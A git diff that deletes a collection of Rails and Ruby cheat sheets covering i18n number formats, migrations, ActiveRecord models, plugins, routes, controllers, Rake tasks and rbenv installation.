-number_to_delimited(n)
-```
-
-{:.light}
-
-```yml
-number:
-    format:
-        separator: '.'
-        delimiter: ','
-        precision: 3
-        significant: false
-        strip_insignificant_zeroes: false
-```
-
-### Currencies
-
-```rb
-number_to_currency(n)
-```
-
-{:.light}
-
-```yml
-number:
-    currency:
-        format:
-            format: '%u%n' # %u = unit, %n = number
-            unit: '$'
-            separator: '.'
-            delimiter: ','
-            precision: 3
-            # (see number.format)
-```
-
-### Percentage
-
-```rb
-number_to_percentage(n)
-```
-
-{:.light}
-
-```yml
-number:
-    percentage:
-        format:
-            format: '%n%'
-            # (see number.format)
-```
-
-## Programmatic access
-
-```rb
-I18n.backend.store_translations :en, ok: "Ok"
-I18n.locale = :en
-I18n.default_locale = :en
-
-I18n.available_locales
-
-I18n.translate :ok   # aka, I18n.t
-I18n.localize date   # aka, I18n.l
-```
-
-{:.light}
-
-## Reference
-
--   http://guides.rubyonrails.org/i18n.html
--   http://rails-i18n.org/wiki
--   https://github.com/svenfuchs/i18n
--   https://github.com/svenfuchs/rails-i18n/blob/master/rails/locale/en.yml
diff --git a/docs/content/cheat-sheets/rails-migrations.md b/docs/content/cheat-sheets/rails-migrations.md
deleted file mode 100644
index 04b9516270..0000000000
--- a/docs/content/cheat-sheets/rails-migrations.md
+++ /dev/null
@@ -1,123 +0,0 @@
----
-title: Migrations
-category: Rails
----
-
-### Automatically make migrations
-
-    $ rails generate migration RemovePartNumberFromProducts part_number:string
-    $ rails generate migration remove_part_number_from_products part_number # rails assumes string if not type given - and you can use snake_case
-
-    $ rails generate migration AddNameToWidgets name:string
-    $ rails g migration add_name_to_widgets name:string # you can use the short cut 'g' instead of generate - they both do the same thing
-
-### Run migrations
-
-    $ rake db:migrate
-
-### Creating tables
-
-    create_table :users do |t|
-      t.string :name
-      t.text   :description
-
-      t.primary_key :id
-      t.string      :title
-      t.text        :description
-      t.integer     :games_count
-      t.float       :lol
-      t.decimal     :price
-      t.decimal     :price, :precision => 2, :scale => 10
-      t.datetime    :expiration
-      t.timestamp   :time_in
-      t.time        :time_in
-      t.date        :expiry
-      t.binary      :image_data
-      t.boolean     :is_admin
-    end
-
-    # Options:
-      :null (boolean)
-      :limit (integer)
-      :default
-
-### Operations
-
-    add_column    :users, :first_name, :string
-    remove_column :users, :first_name, :string
-
-    change_column :users, :first_name, :text
-
-    change_column_default :users, :admin, nil
-    change_column_null    :users, :email, false # adds NOT NULL constraint
-
-    create_table
-    change_table
-    drop_table
-
-    add_column
-    change_column
-    rename_column
-    remove_column
-
-    add_index
-    remove_index
-
-### Use models
-
-    class AddFlagToProduct < ActiveRecord::Migration
-      class Product < ActiveRecord::Base
-      end
-
-      def change
-        add_column :products, :flag, :boolean
-        Product.reset_column_information
-        reversible do |dir|
-          dir.up { Product.update_all flag: false }
-        end
-      end
-    end
-
-### Associations
-
-    t.references :category   # kinda same as t.integer :category_id
-
-    # Can have different types
-    t.references :category, polymorphic: true
-
-### Auto-Add/remove columns
-
-    $ rails generate migration RemovePartNumberFromProducts part_number:string
-
-### Indices
-
-    # Simple
-    add_index :suppliers, :name
-
-    # Unique
-    add_index :accounts, [:branch_id, :party_id], :unique => true
-
-    # Named (:name => ...)
-    add_index :accounts, [:branch_id, :party_id], :unique => true, :name => "by_branch_party"
-
-    # Length
-    add_index :accounts, :name, :name => ‘by_name', :length => 10
-    add_index :accounts, [:name, :surname], :name => ‘by_name_surname',
-      :length => {
-        :name => 10,
-        :surname => 15
-      }
-
-    # Sort order (no MySQL support)
-    add_index :accounts, [:branch_id, :party_id, :surname],
-      :order => {:branch_id => :desc, :part_id => :asc}
-
-### In console
-
-Use `ActiveRecord::Migration`.
-
-    ActiveRecord::Migration.add_index :posts, :slug
-
-### References
-
--   http://apidock.com/rails/ActiveRecord/ConnectionAdapters/SchemaStatements/add_index
diff --git a/docs/content/cheat-sheets/rails-models.md b/docs/content/cheat-sheets/rails-models.md
deleted file mode 100644
index 1e983230c7..0000000000
--- a/docs/content/cheat-sheets/rails-models.md
+++ /dev/null
@@ -1,596 +0,0 @@
----
-title: Rails models
-category: Rails
----
-
-## Generating
-
-### Generating
-
-    $ rails g model User
-
-## Using models
-
-### Query methods
-
-```ruby
-items = Model
-  .where(first_name: 'Harvey')
-  .where('id = 3')
-  .where('id = ?', 3)
-```
-
-```ruby
-  .order(:title)
-  .order(title: :desc)
-  .order("title DESC")
-```
-
-```ruby
-  .reorder(:title)  # discards other .order's
-  .rewhere(...)     # discards other .where's
-```
-
-```ruby
-  .limit(2)
-  .offset(1)
-  .uniq
-```
-
-See: [QueryMethods](http://devdocs.io/rails/activerecord/querymethods)
-
-### Advanced query methods
-
-```ruby
-items = Model
-  .select(:id)
-  .select([:id, :name])
-```
-
-```ruby
-  .group(:name)   # GROUP BY name
-  .group('name AS grouped_name, age')
-  .having('SUM(price) > 30')  # needs to be chained with .group
-```
-
-```ruby
-  .includes(:user)
-  .includes(user: [:articles])
-```
-
-```ruby
-  .references(:posts)
-  # aka: .where("posts.name = 'foo'").references(:posts)
-```
-
-### Finder methods
-
-```ruby
-item = Model.find(id)
-item = Model.find_by_email(email)
-item = Model.where(email: email).first
-```
-
-```ruby
-Model
-  .exists?(5)
-  .exists?(name: "David")
-```
-
-```ruby
-  .first
-  .last
-  .find_nth(4, [offset])
-```
-
-See: [FinderMethods](http://devdocs.io/rails/activerecord/findermethods)
-
-### Persistence
-
-```ruby
-item.new_record?
-item.persisted?
-item.destroyed?
-
-item.serialize_hash
-```
-
-```ruby
-item.save
-item.save!      # Same as above, but raises an Exception
-```
-
-```ruby
-item.update  name: 'John'  # Saves immediately
-item.update! name: 'John'
-```
-
-```ruby
-item.update_column  :name, 'John'  # skips validations and callbacks
-item.update_columns  name: 'John'
-item.update_columns! name: 'John'
-```
-
-```ruby
-item.touch                 # updates :updated_at
-item.touch :published_at
-```
-
-```ruby
-item.destroy
-item.delete  # skips callbacks
-```
-
-```ruby
-Model.create     # Same an #new then #save
-Model.create!    # Same as above, but raises an Exception
-```
-
-See: [Persistence](http://devdocs.io/rails/activerecord/persistence)
-
-### Attribute Assignment
-
-```ruby
-item.attributes                      # #<Hash>
-```
-
-```ruby
-item.attributes = { name: 'John' }   # Merges attributes in. Doesn't save.
-item.assign_attributes name: 'John'  # Same as above
-```
-
-See: [AttributeAssignment](http://devdocs.io/rails/activerecord/attributeassignment)
-
-### Dirty
-
-```ruby
-item.changed?
-item.changed             # ['name']
-item.changed_attributes  # { 'name' => 'Bob' } - original values
-item.changes             # { 'name' => ['Bob', 'Robert'] }
-item.previous_changes    # available after #save
-item.restore_attributes
-```
-
-```ruby
-item.name = 'Robert'
-item.name_was         # 'Bob'
-item.name_change      # [ 'Bob', 'Robert' ]
-item.name_changed?    # true
-item.name_changed?(from: 'Bob', to: 'Robert')
-```
-
-See: [Dirty](http://devdocs.io/rails/activemodel/dirty)
-
-### Validations
-
-```ruby
-item.valid?
-item.invalid?
-```
-
-See: [Validations](http://devdocs.io/rails/activerecord/validations)
-
-### Calculations
-
-```ruby
-Person.count
-Person.count(:age)    # counts non-nil's
-```
-
-```ruby
-Person.average(:age)
-Person.maximum(:age)
-Person.minimum(:age)
-Person.sum('2 * age')
-```
-
-```ruby
-Person.calculate(:count, :all)
-```
-
-Advanced:
-
-```ruby
-Person.distinct.count
-Person.group(:city).count
-```
-
-See: [Calculations](http://devdocs.io/rails/activerecord/calculations)
-
-### Dynamic attribute-based finders
-
-Given a field called `name`:
-{: .-setup}
-
-```ruby
-# Returns one record
-Person.find_by_name(name)
-Person.find_last_by_name(name)
-Person.find_or_create_by_name(name)
-Person.find_or_initialize_by_name(name)
-```
-
-```ruby
-# Returns a list of records
-Person.find_all_by_name(name)
-```
-
-```ruby
-# Add a bang to make it raise an exception
-Person.find_by_name!(name)
-```
-
-```ruby
-# You may use `scoped` instead of `find`
-Person.scoped_by_user_name
-```
-
-## Associations
-
-### Associations
-
--   `belongs_to`
--   `has_one`
--   `has_many`
--   `has_many :through`
--   `has_one :through`
--   `has_and_belongs_to_many`
-
-### Has many
-
-```ruby
-belongs_to :parent, :foreign_key => 'parent_id' class_name: 'Folder'
-has_many :folders, :foreign_key => 'parent_id', class_name: 'Folder'
-
-has_many :comments,                -> { order('posted_on DESC') }
-has_many :comments,    :include    => :author
-has_many :people,      :class_name => "Person"
-has_many :people,      :conditions => "deleted = 0"
-has_many :tracks,                  -> { order(:position) }
-has_many :comments,    :dependent  => :nullify
-has_many :comments,    :dependent  => :destroy
-has_many :tags,        :as         => :taggable
-has_many :reports,     :readonly   => true
-has_many :subscribers, :through    => :subscriptions, class_name: "User", :source => :user
-has_many :subscribers, :finder_sql =>
-    'SELECT DISTINCT people.* ' +
-    'FROM people p, post_subscriptions ps ' +
-    'WHERE ps.post_id = #{id} AND ps.person_id = p.id ' +
-    'ORDER BY p.first_name'
-```
-
-### belongs to
-
-```ruby
-belongs_to :author,
-  :dependent      => :destroy    # or :delete
-
-  :class_name     => "Person"
-  :select         => "*"
-  :counter_cache  => true
-  :counter_cache  => :custom_counter
-  :include        => "Book"
-  :readonly       => true
-
-  :conditions     => 'published = true'
-
-  :touch          => true
-  :touch          => :authors_last_updated_at
-
-  :primary_key    => "name"
-  :foreign_key    => "author_name"
-```
-
-### Many-to-many
-
-If you have a join model:
-{: .-setup}
-
-```ruby
-class Programmer < ActiveRecord::Base
-  has_many :assignments
-  has_many :projects, :through => :assignments
-end
-```
-
-{: data-line="2,3"}
-
-```ruby
-class Project < ActiveRecord::Base
-  has_many :assignments
-  has_many :programmers, :through => :assignments
-end
-```
-
-{: data-line="2,3"}
-
-```ruby
-class Assignment
-  belongs_to :project
-  belongs_to :programmer
-end
-```
-
-{: data-line="2,3"}
-
-### Many-to-many (HABTM)
-
-```ruby
-has_and_belongs_to_many :projects
-has_and_belongs_to_many :projects, :include => [ :milestones, :manager ]
-has_and_belongs_to_many :nations, :class_name => "Country"
-has_and_belongs_to_many :categories, :join_table => "prods_cats"
-has_and_belongs_to_many :categories, :readonly => true
-has_and_belongs_to_many :active_projects, :join_table => 'developers_projects', :delete_sql =>
-"DELETE FROM developers_projects WHERE active=1 AND developer_id = #{id} AND project_id = #{record.id}"
-```
-
-### Polymorphic associations
-
-```ruby
-class Post
-  has_many :attachments, as: :parent
-end
-```
-
-{: data-line="2"}
-
-```ruby
-class Image
-  belongs_to :parent, polymorphic: true
-end
-```
-
-{: data-line="2"}
-
-And in migrations:
-
-```ruby
-create_table :images do |t|
-  t.references :post, polymorphic: true
-end
-```
-
-{: data-line="2"}
-
-## Validation
-
-### Validation
-
-```ruby
-class Person < ActiveRecord::Base
-```
-
-{:.-setup}
-
-```ruby
-  # Presence
-  validates :name,     presence: true
-```
-
-{: data-line="2"}
-
-```ruby
-  # Acceptance
-  validates :terms,    acceptance: true
-```
-
-```ruby
-  # Confirm
-  validates :email,    confirmation: true
-```
-
-```ruby
-  # Unique
-  validates :slug,     uniqueness: true
-  validates :slug,     uniqueness: { case_sensitive: false }
-  validates :holiday,  uniqueness: { scope: :year, message: 'yearly only' }
-```
-
-```ruby
-  # Format
-  validates :code,     format: /regex/
-  validates :code,     format: { with: /regex/ }
-```
-
-```ruby
-  # Length
-  validates :name,     length: { minimum: 2 }
-  validates :bio,      length: { maximum: 500 }
-  validates :password, length: { in: => 6..20 }
-  validates :number,   length: { is: => 6 }
-```
-
-```ruby
-  # Include/exclude
-  validates :gender,   inclusion: %w(male female)
-  validates :gender,   inclusion: { in: %w(male female) }
-  validates :lol,      exclusion: %w(xyz)
-```
-
-```ruby
-  # Numeric
-  validates :points,   numericality: true
-  validates :played,   numericality: { only_integer: true }
-  # ... greater_than, greater_than_or_equal_to,
-  # ... less_than, less_than_or_equal_to
-  # ... odd, even, equal_to
-```
-
-```ruby
-  # Validate the associated records to ensure they're valid as well
-  has_many :books
-  validates_associated :books
-```
-
-```ruby
-  # Length (full options)
-  validates :content, length: {
-    minimum:   300,
-    maximum:   400,
-    tokenizer: lambda { |str| str.scan(/\w+/) },
-    too_short: "must have at least %{count} words",
-    too_long:  "must have at most %{count} words" }
-```
-
-```ruby
-  # Multiple
-  validates :login, :email, presence: true
-```
-
-```ruby
-  # Conditional
-  validates :description, presence: true, if: :published?
-  validates :description, presence: true, if: lambda { |obj| .. }
-```
-
-```ruby
-  validates :title, presence: true, on: :save   # :save | :create | :update
-```
-
-```ruby
-end
-```
-
-{: .-setup}
-
-### Custom validations
-
-```ruby
-class Person < ActiveRecord::Base
-  validate :foo_cant_be_nil
-
-  def foo_cant_be_nil
-    errors.add(:foo, 'cant be nil')  if foo.nil?
-  end
-end
-```
-
-{: data-line="2"}
-
-### Errors
-
-```ruby
-record.errors.valid?      # → false
-record.errors             # → { :name => ["can't be blank"] }
-record.errors.messages    # → { :name => ["can't be blank"] }
-```
-
-```ruby
-record.errors[:name].any?
-```
-
-## Other API
-
-### Callbacks
-
--   [Guides: callbacks](http://guides.rubyonrails.org/active_record_validations_callbacks.html)
-
-### Mass updates
-
-```ruby
-# Updates person id 15
-Person.update 15, name: "John", age: 24
-Person.update [1,2], [{name: "John"}, {name: "foo"}]
-```
-
-### Joining
-
-```ruby
-# Basic joins
-Student.joins(:schools).where(schools: { type: 'public' })
-Student.joins(:schools).where('schools.type' => 'public' )
-```
-
-```ruby
-# Multiple associations
-Article.joins(:category, :comments)
-```
-
-```ruby
-# Nested associations
-Article.joins(comments: :guest)
-```
-
-```ruby
-# SQL
-Author.joins(
-  'INNER JOIN posts ' +
-  'ON posts.author_id = authors.id ' +
-  'AND posts.published = "t"'
-)
-```
-
-### Where interpolation
-
-```ruby
-where('name = ?', 'John')
-where(['name = :name', { name: 'John' }])
-```
-
-### Serialize
-
-```ruby
-class User < ActiveRecord::Base
-  serialize :preferences
-end
-```
-
-{: data-line="2"}
-
-```ruby
-user = User.create(
-  preferences: {
-    'background' => 'black',
-    'display' => 'large'
-  }
-)
-```
-
-You can also specify a class option as the second parameter that'll raise an
-exception if a serialized object is retrieved as a descendant of a class not in
-the hierarchy.
-
-```ruby
-# Only Hash allowed!
-class User < ActiveRecord::Base
-  serialize :preferences, Hash
-end
-```
-
-```ruby
-# Reading it raises SerializationTypeMismatch
-user = User.create(preferences: %w(one two three))
-User.find(user.id).preferences
-```
-
-## Other tricks
-
-### Overriding accessors
-
-```ruby
-class Song < ActiveRecord::Base
-  # Uses an integer of seconds to hold the length of the song
-
-  def length=(minutes)
-    write_attribute(:length, minutes.to_i * 60)
-  end
-
-  def length
-    read_attribute(:length) / 60
-  end
-end
-```
-
-{: data-line="4,8"}
-
-See: <http://api.rubyonrails.org/classes/ActiveRecord/Base.html>
-
-## Callbacks
-
--   after_create
--   after_initialize
--   after_validation
--   after_save
--   after_commit
diff --git a/docs/content/cheat-sheets/rails-plugins.md b/docs/content/cheat-sheets/rails-plugins.md
deleted file mode 100644
index 6da93f000a..0000000000
--- a/docs/content/cheat-sheets/rails-plugins.md
+++ /dev/null
@@ -1,132 +0,0 @@
----
-title: Rails plugins
-category: Rails
----
-
-## Generate a plugin
-
-Generate a Rails Engine plugin:
-
-    rails plugin new myplugin --skip-bundle --full
-
-## Initializers
-
--   [Rails::Railtie](http://edgeapi.rubyonrails.org/classes/Rails/Railtie.html)
--   [EngineYard blog
-    post](http://www.engineyard.com/blog/2010/extending-rails-3-with-railties/)
-
-Subclass Railtie and provide an `initializer` method.
-
-    module NewPlugin
-      class Railtie < Rails::Railtie
-        initializer "newplugin.initialize" do |app|
-
-          # subscribe to all rails notifications: controllers, AR, etc.
-          ActiveSupport::Notifications.subscribe do |*args|
-            event = ActiveSupport::Notifications::Event.new(*args)
-            puts "Got notification: #{event.inspect}"
-          end
-
-        end
-      end
-    end
-
-## Custom routes
-
--   [ActionDispatch::Routing::Mapper](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper.html)
-
-To create custom `routes.rb` keywords:
-
-    # # routes.rb:
-    # myplugin_for x
-    #
-    class ActionDispatch::Routing
-      class Mapper
-        def myplugin_for(*x)
-        end
-      end
-    end
-
-Example with a block:
-
-    # authenticated do
-    #   resources :users
-    # end
-    #
-    def authenticated
-      constraint = lambda { |request| request... }
-
-      constraints(constraint) { yield }
-    end
-
-## Custom generators
-
--   [Guide: generators](http://guides.rubyonrails.org/generators.html)
--   [ActiveRecord::Generators::Base](http://api.rubyonrails.org/classes/ActiveRecord/Generators/Base.html)
-
-### Basic
-
-    # rails g initializer
-    # lib/generators/initializer_generator.rb
-    class InitializerGenerator < Rails::Generators::Base
-      def create_initializer_file
-        create_file "config/initializers/initializer.rb", "# Add initialization content here"
-      end
-    end
-
--   Extend `Rails::Generators::Base`.
--   Each public method in the generator is executed when a generator is invoked.
-
-### Generating a generator
-
-    $ rails generate generator initializer
-
-### NamedBase
-
-Use `NamedBase` instead if you want to take an argument. It will be available as
-`file_name`.
-
-    class InitializerGenerator < Rails::Generators::Base
-      def lol
-        puts file_name
-      end
-    end
-
-### More
-
-    class InitializerGenerator < Rails::Generators::NamedBase
-      #
-      source_root File.expand_path("../templates", __FILE__)
-      desc "Description goes here."
-    end
-
-### Generators lookup
-
-When invoking `rails g XXX`:
-
-    [rails/]generators/XXX/XXX_generator.rb
-    [rails/]generators/XXX_generator.rb
-
-When invoking `rails g XXX:YYY`:
-
-    [rails/]generators/XXX/YYY_generator.rb
-
-## ActiveModel 'acts as'
-
-    # yaffle/lib/yaffle/acts_as_yaffle.rb
-    module Yaffle
-      module ActsAsYaffle
-        extend ActiveSupport::Concern
-
-        included do
-        end
-
-        module ClassMethods
-          def acts_as_yaffle(options = {})
-            # your code will go here
-          end
-        end
-      end
-    end
-
-    ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
diff --git a/docs/content/cheat-sheets/rails-routes.md b/docs/content/cheat-sheets/rails-routes.md
deleted file mode 100644
index a18bd1ee64..0000000000
--- a/docs/content/cheat-sheets/rails-routes.md
+++ /dev/null
@@ -1,202 +0,0 @@
----
-title: Routes
-category: Rails
----
-
-## Multiple resources (`resources`)
-
-    resources :photos
-
-    # PhotosController:
-    # index  =>    GET /photos
-    # new    =>    GET /photos/new
-    # create =>   POST /photos/new
-    # show   =>    GET /photos/:id
-    # edit   =>    GET /photos/:id/edit
-    # update =>    PUT /photos/:id
-    # delete => DELETE /photos/:id
-    #
-    # Helpers:
-    # new_photo_path
-    # photo_path(id)
-    # edit_photo_path(id)
-
-### Custom actions
-
-    resources :photos do
-      member { get 'preview' }       # /photo/1/preview
-      collection { get 'search' }    # /photos/search
-
-      get 'preview', on: :member     # (..same as the first)
-    end
-
-### Options
-
-    resources :photos,
-      path_names: { new: 'brand_new' }    # /photos/1/brand_new
-      path: 'postings'                    # /postings
-      only: :index
-      only: [:index, :show]
-      except: :show
-      except: [:index, :show]
-
-      shallow: true                       # also generate shallow routes
-      shalow_path: 'secret'
-      shallow_prefix: 'secret'
-
-## Single resource (`resource`)
-
-    resource :coder
-
-    # CodersController:
-    # new    =>    GET /coder/new
-    # create =>   POST /coder/new
-    # show   =>    GET /coder
-    # edit   =>    GET /coder/edit
-    # update =>    PUT /coder
-    # delete => DELETE /coder
-
-## Matching (`match`)
-
-    match 'photo/:id' => 'photos#show'  # /photo/what-is-it
-    match 'photo/:id', id: /[0-9]+/     # /photo/0192
-    match 'photo/:id' => 'photos#show', constraints: { id: /[0-9]+/ }
-    match 'photo/:id', via: :get
-    match 'photo/:id', via: [:get, :post]
-
-    match 'photo/*path' => 'photos#unknown'    # /photo/what/ever
-
-    # params[:format] == 'jpg'
-    match 'photos/:id' => 'photos#show', :defaults => { :format => 'jpg' }
-
-### Get/post
-
-`get` is the same as `match via: :get`.
-
-    get 'photo/:id' => 'photos#show'
-    # same as match 'photo/:id' => 'photos#show', via: :get
-
-    post 'photo/:id' => 'photos#update'
-    # same as match 'photo/:id' => 'photos#show', via: :post
-
-### Redirection
-
-    match '/stories' => redirect('/posts')
-    match '/stories/:name' => redirect('/posts/%{name}')
-
-### Named
-
-    # logout_path
-    match 'exit' => 'sessions#destroy', as: :logout
-
-### Constraints
-
-    match '/', constraints: { subdomain: 'admin' }
-
-    # admin.site.com/admin/photos
-    namespace 'admin' do
-      constraints subdomain: 'admin' do
-        resources :photos
-      end
-    end
-
-### Custom constraints
-
-    class BlacklistConstraint
-      def initialize
-        @ips = Blacklist.retrieve_ips
-      end
-
-      def matches?(request)
-        @ips.include?(request.remote_ip)
-      end
-    end
-
-    TwitterClone::Application.routes.draw do
-      match "*path" => "blacklist#index",
-        :constraints => BlacklistConstraint.new
-    end
-
-### Scopes
-
-    scope 'admin', constraints: { subdomain: 'admin' } do
-      resources ...
-    end
-
-### Rack middleware
-
-    # Yes, Sprockets is middleware
-    match '/application.js' => Sprockets
-
-### Route helpers
-
-    projects_path   # /projects
-    projects_url    # http://site.com/projects
-
-### Default help text
-
-    # The priority is based upon order of creation:
-    # first created -> highest priority.
-
-    # Sample of regular route:
-    match 'products/:id' => 'catalog#view'
-
-    # Keep in mind you can assign values other than :controller and :action
-
-    # Sample of named route:
-    match 'products/:id/purchase' => 'catalog#purchase', :as => :purchase
-
-    # This route can be invoked with purchase_url(:id => product.id)
-
-    # Sample resource route (maps HTTP verbs to controller actions automatically):
-    resources :products
-
-    # Sample resource route with options:
-    resources :products do
-      member do
-        get 'short'
-        post 'toggle'
-      end
-
-      collection do
-        get 'sold'
-      end
-    end
-
-    # Sample resource route with sub-resources:
-    resources :products do
-      resources :comments, :sales
-      resource :seller
-    end
-
-    # Sample resource route with more complex sub-resources
-    resources :products do
-      resources :comments
-      resources :sales do
-        get 'recent', :on => :collection
-      end
-    end
-
-    # Sample resource route within a namespace:
-    namespace :admin do
-      # Directs /admin/products/* to Admin::ProductsController
-      # (app/controllers/admin/products_controller.rb)
-      resources :products
-    end
-
-    # You can have the root of your site routed with "root"
-    # just remember to delete public/index.html.
-    root :to => 'welcome#index'
-
-    # See how all your routes lay out with "rake routes"
-
-    # This is a legacy wild controller route that's not recommended for RESTful applications.
-    # Note: This route will make all actions in every controller accessible via GET requests.
-    match ':controller(/:action(/:id(.:format)))'
-
-### References
-
--   [Guides/Routing](http://guides.rubyonrails.org/routing.html)
-
--   [ActionDispatch::Routing::Mapper](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper.html)
-    (See included modules)
diff --git a/docs/content/cheat-sheets/rails-tricks.md b/docs/content/cheat-sheets/rails-tricks.md
deleted file mode 100644
index cbcde345c4..0000000000
--- a/docs/content/cheat-sheets/rails-tricks.md
+++ /dev/null
@@ -1,64 +0,0 @@
----
-title: Rails tricks
-category: Rails
----
-
-in config/environments/development.rb:
-
-    # Source maps for Sass
-    config.sass.debug_info = true
-    config.sass.line_comments = false
-
-    # Don't break apart
-    config.assets.debug = false
-
-Partial locals
-
-    <%= render 'article', full: true %>
-    <%= render 'article' %>
-
-    <% if local_assigns[:full] %>
-      ...
-    <% end %>
-
-HTML in i18n
-
-    en:
-      read_more_html: "read <b>more</b>..."
-
-Exception handling:
-
-    # config/application.rb
-    config.exceptions_app = self.routes
-
-    get '/404', to: 'errors#not_found'
-    get '/500', to: 'errors#server_error'
-
-    class ErrorsController
-      def not_found
-        render status: :not_found
-      end
-     end
-
-Rails updating:
-
-    rake rails:update
-
-Distinct pluck:
-
-    Article.distinct.pluck('author')
-
-Relation#merge
-
-    scope :with_drafts, -> {
-      uniq.joins(:articles).merge(Article.draft)
-    }
-
-Order
-
-    scope :recent, -> { order created_at: :desc }
-
-Group by month
-
-    .group("to_char(created_at, 'YYYY-MM')")
-    .group("to_char(created_at, 'YYYY-MM')").count
diff --git a/docs/content/cheat-sheets/rails.md b/docs/content/cheat-sheets/rails.md
deleted file mode 100644
index ad97c45178..0000000000
--- a/docs/content/cheat-sheets/rails.md
+++ /dev/null
@@ -1,145 +0,0 @@
----
-title: Rails
-category: Rails
----
-
-## Helpers
-
-    class ApplicationController
-      helper_method :logged_in?
-
-      def logged_in?
-        "Something"
-      end
-    end
-
-### CSS/JS packages
-
-    stylesheet_link_tag :monkey
-    javascript_link_tag :monkey
-
-### Forms
-
-    # http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html
-
-    - form_for @person do |f|
-      = f.label :first_name
-      = f.label :first_name, "First name"
-      = f.text_field :first_name
-
-      = f.label :last_name>
-      = f.text_field :last_name>
-
-      - fields_for @person.permission do |fields|
-        = fields.checkbox :admin
-
-      -# name="person[admin]"
-      - fields_for :person, @client do |fields|
-        = fields.checkbox :admin
-
-      = f.submit
-
-    # Also: check_box, email_field, fields_for
-    # file_field, hidden_field, label, number_field, password_field
-    # radio_button, range_field, search_field, telephonen_field,
-    # text_area, text_field, url_field
-
-## Controllers
-
-http://apidock.com/rails/ActionController/Base
-
-    class ProjectsController
-      layout 'project'   # Actually defaults to `projects` based
-                         # on the controller name
-
-      def save
-      end
-
-      def edit
-      end
-    end
-
-### Before filter
-
-    class ApplicationController < ActionController::Base
-      before_filter :validate, only: [:save, :edit]
-      before_filter :ensure_auth, except: [:logout]
-
-      before_filter :require_login
-
-      private
-
-      def require_login
-        unless logged_in?
-          flash[:error] = "You must be logged in to access this section"
-          redirect_to new_login_url # halts request cycle
-        end
-      end
-    end
-
-### Default URL options
-
-    class ApplicationController < ActionController::Base
-      # The options parameter is the hash passed in to 'url_for'
-      def default_url_options(options)
-        {:locale => I18n.locale}
-      end
-    end
-
-### Hashes
-
-    session[:what]
-    flash[:notice] = "Your session expired"
-    params[:id]
-
-### XML and JSON
-
-    class UsersController < ApplicationController
-      def index
-        @users = User.all
-        respond_to do |format|
-          format.html # index.html.erb
-          format.xml  { render :xml => @users}
-          format.json { render :json => @users}
-        end
-      end
-    end
-
-### Redirection
-
-    redirect_to action: 'show', id: @entry.id
-    redirect_to root_url          # a path
-
-### Render
-
-    render nothing: true
-    render template: 'products/show'
-    render status: 500
-    render status: :forbidden
-    render text: '...'
-    render layout: 'special_layout'
-    render layout: false
-    render action: 'something'    # same as `file: 'my/something'`
-                                  # Renders the template only, does not execute
-                                  # the action
-
-    render json: object
-    render xml: object
-
-    render location: photo_url(photo)
-
-### Head-only responses
-
-    head :bad_request
-    head :created, location: photo_path(@photo)
-
-## Layouts
-
-    # app/views/layouts/application.html.erb
-    <%= content_for?(:content) ? yield :content : yield %>
-
-    # app/views/layouts/news.html.erb
-    <% content_for :content do %>
-       ...
-    <% end %>
-    <% render template: :'layouts/application' %>
diff --git a/docs/content/cheat-sheets/rake.md b/docs/content/cheat-sheets/rake.md
deleted file mode 100644
index 437174a929..0000000000
--- a/docs/content/cheat-sheets/rake.md
+++ /dev/null
@@ -1,34 +0,0 @@
----
-title: Rake
-category: Ruby
----
-
-### Basic syntax
-
-```rb
-namespace :foo do
-  desc "Description"
-  task :bar do
-    ...
-  end
-
-  task :baz => :dependency do
-  end
-
-  task :baz => [:dep1, :dep2, :dep3] do
-  end
-end
-
-# rake foo:bar
-```
-
-### Rake task with arguments
-
-```rb
-desc "Do something"
-task :workit, [:id] => :environment do |_, args|
-  id = args[:id]
-end
-
-# rake workit[234]
-```
diff --git a/docs/content/cheat-sheets/rbenv.md b/docs/content/cheat-sheets/rbenv.md
deleted file mode 100644
index fd00df2603..0000000000
--- a/docs/content/cheat-sheets/rbenv.md
+++ /dev/null
@@ -1,85 +0,0 @@
----
-title: rbenv
-category: Ruby
-
-weight: -1
-description: |
-    A one-page guide to rbenv Ruby version manager, with usage examples and more.
-intro: |
-    [rbenv](https://github.com/rbenv/rbenv) lets you manage installations of multiple Ruby versions.
----
-
-### Installation
-
-#### Install rbenv and ruby-build
-
-```bash
-git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
-git clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
-```
-
-#### Add to ~/.bash_profile
-
-```bash
-echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bash_profile
-echo 'eval "$(rbenv init -)"' >> ~/.bash_profile
-```
-
-#### Verify installation
-
-```bash
-type rbenv   # → "rbenv is a function"
-```
-
-These are generic instructions; there may be rbenv packages available for your OS.
-
-See: [Installation](https://github.com/rbenv/rbenv#installation)
-
-### Managing versions
-
-| Command                 | Description                 |
-| ----------------------- | --------------------------- |
-| `rbenv install -l`      | List all available versions |
-| ---                     | ---                         |
-| `rbenv install 2.2.1`   | Install Ruby _2.2.1_        |
-| `rbenv uninstall 2.2.1` | Uninstall Ruby _2.2.1_      |
-| ---                     | ---                         |
-| `rbenv versions`        | See installed versions      |
-| `rbenv version`         | See current version         |
-| ---                     | ---                         |
-| `rbenv which <NAME>`    | Display path to executable  |
-| `rbenv rehash`          | Re-write binstubs           |
-
-## Using versions
-
-### Locally
-
-| Command               | Description                 |
-| --------------------- | --------------------------- |
-| `rbenv local 2.2.2`   | Use Ruby _2.2.2_ in project |
-| `rbenv local --unset` | Undo above                  |
-
-Application-specific version numbers are stored in `.ruby-version`.
-
-### Globally
-
-| Command                | Description               |
-| ---------------------- | ------------------------- |
-| `rbenv global 2.2.2`   | Use Ruby _2.2.2_ globally |
-| `rbenv global --unset` | Undo above                |
-
-Global version numbers are stored in `~/.rbenv/version`.
-
-### Shell
-
-| Command               | Description               |
-| --------------------- | ------------------------- |
-| `rbenv shell 2.2.2`   | Use Ruby _2.2.2_ in shell |
-| `rbenv shell --unset` | Undo above                |
-
-Shell-local version numbers are stored as environment variables.
-
-## References
-
--   [rbenv project page](https://github.com/rbenv/rbenv) _(github.com)_
--   [rbenv ubuntu server cheatsheet](https://gist.github.com/rahul286/7160839f4425a3b7e718) _(gist.github.com)_
diff --git a/docs/content/cheat-sheets/rcs.md b/docs/content/cheat-sheets/rcs.md
deleted file mode 100644
index e12f10b560..0000000000
--- a/docs/content/cheat-sheets/rcs.md
